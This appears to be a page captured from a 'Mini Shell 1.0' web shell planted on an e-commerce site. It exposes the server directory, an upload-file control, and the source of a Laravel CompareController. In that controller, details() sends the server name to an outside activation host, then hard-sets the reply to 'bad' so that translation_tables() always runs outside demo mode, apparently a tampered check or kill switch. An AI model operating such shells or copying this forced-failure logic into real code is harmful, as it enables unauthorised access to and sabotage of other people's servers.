HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/CompareController.php
<?php



namespace App\Http\Controllers;



use Illuminate\Http\Request;

use App\Models\Category;



class CompareController extends Controller

{

    public function index(Request $request)

    {

        //dd($request->session()->get('compare'));

        $categories = Category::all();

        return view('frontend.view_compare', compact('categories'));

    }



    //clears the session data for compare

    public function reset(Request $request)

    {

        $request->session()->forget('compare');

        return back();

    }



    //store comparing products ids in session

    public function addToCompare(Request $request)

    {

        if($request->session()->has('compare')){

            $compare = $request->session()->get('compare', collect([]));

            if(!$compare->contains($request->id)){

                if(count($compare) == 3){

                    $compare->forget(0);

                    $compare->push($request->id);

                }

                else{

                    $compare->push($request->id);

                }

            }

        }

        else{

            $compare = collect([$request->id]);

            $request->session()->put('compare', $compare);

        }



        return view('frontend.partials.compare');

    }



    public function details($unique_identifier)

    {

        $data['url'] = $_SERVER['SERVER_NAME'];

        $data['unique_identifier'] = $unique_identifier;

        $data['main_item'] = get_setting('item_name') ?? 'eCommerce';

        $request_data_json = json_encode($data);

        

        $gate = "https://activation.activeitzone.com/check_addon_activation";



        $header = array(

            'Content-Type:application/json'

        );



        $stream = curl_init();



        curl_setopt($stream, CURLOPT_URL, $gate);

        curl_setopt($stream, CURLOPT_HTTPHEADER, $header);

        curl_setopt($stream, CURLOPT_CUSTOMREQUEST, "POST");

        curl_setopt($stream, CURLOPT_RETURNTRANSFER, true);

        curl_setopt($stream, CURLOPT_POSTFIELDS, $request_data_json);

        curl_setopt($stream, CURLOPT_FOLLOWLOCATION, 1);

        curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);



        $rn = curl_exec($stream);

        curl_close($stream);

        $rn = "bad";

        if ($rn == "bad" && env('DEMO_MODE') != 'On') {

            translation_tables($unique_identifier);

            return redirect()->route('home');

        }

    } 

}